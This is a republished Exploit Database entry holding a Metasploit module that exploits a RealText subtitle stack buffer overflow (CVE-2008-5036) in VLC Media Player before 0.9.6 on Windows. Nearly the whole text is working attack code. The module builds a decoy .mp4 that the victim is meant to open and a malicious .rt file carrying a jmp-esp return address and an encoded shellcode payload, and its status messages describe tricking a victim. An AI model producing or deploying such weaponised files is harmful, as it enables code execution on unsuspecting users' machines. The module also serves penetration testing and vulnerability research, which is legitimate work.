VideoLAN VLC Media Player 0.9.5 – RealText Subtitle Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-03-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18548/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'VLC Media Player RealText Subtitle Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow vulnerability in
  				VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
  				RealText subtitle files.
  
  					In order to exploit this, this module will generate two files:
  				The .mp4 file is used to trick your victim into running. The .rt file
  				is the actual malicious file that triggers the vulnerability, which
  				should be placed under the same directory as the .mp4 file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Tobias Klein',# Vulnerability Discovery
  					'SkD', # Exploit
  					'juan vazquez' # Metasploit Module
  				],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'OSVDB', '49809' ],
  					[ 'CVE', '2008-5036' ],
  					[ 'BID', '32125' ],
  					[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
  					[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
  				],
  			'Payload'=>
  				{
  					'Space'=> 1900,
  					'DisableNops'=> true,
  					'BadChars' => "\x00\x22\x0a",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
  						{
  							'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
  							'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 05 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.rt']),
  			], self.class)
  	end
  
  	def generate_mp4
  		mp4 = ''
  		# ftyp
  		mp4 << "\x00\x00\x00\x14"#Size
  		mp4 << "ftyp"#Type
  		mp4 << "isom"#Major brand
  		mp4 << "\x00\x00"#version
  		mp4 << "\x00\x00"
  		mp4 << "mp41"#Compatible brands
  		# moov
  		mp4 << "\x00\x00\x00\x9f"#Size
  		mp4 << "moov"#Type
  		mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
  		mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  		mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
  		mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
  		mp4 << "udta"
  		mp4 << "\x00\x00\x00\x23"
  		mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
  		mp4 << "vlc 0.9.4 stream output"
  		# wide
  		mp4 << "\x00\x00\x00\x08"
  		mp4 << "wide"
  		# mdat
  		mp4 << "\x00\x00\x00\x08"
  		mp4 << "mdat"
  
  		return mp4
  	end
  
  	def generate_rt
  		my_payload = ""
  		my_payload << Rex::Text.rand_text(72, payload_badchars)
  		my_payload << [target.ret].pack("V") # EIP => jmp esp
  		my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
  		my_payload << Rex::Text.rand_text(2, payload_badchars)
  		my_payload << [target['WritableAddress']].pack("V") # Writable address
  		my_payload << payload.encoded
  
  		rt_file = <<-eos
  <window height="250" width="300" duration="15" bgcolor="yellow">
  Mary had a little lamb,
  <br/><time begin="#{my_payload}"/>
  <br/><time begin="6"/>little lamb,
  <br/><time begin="9"/>Mary had a little lamb
  <br/><time begin="12"/>whose fleece was white as snow.
  </window>
  		eos
  
  		return rt_file
  	end
  
  	def exploit
  
  		mp4 = generate_mp4
  		rt= generate_rt
  
  		print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
  		file_create(rt)
  
  		original_fname = datastore['FILENAME']
  		datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
  		print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
  		file_create(mp4)
  
  		datastore['FILENAME'] = original_fname
  
  	end
  end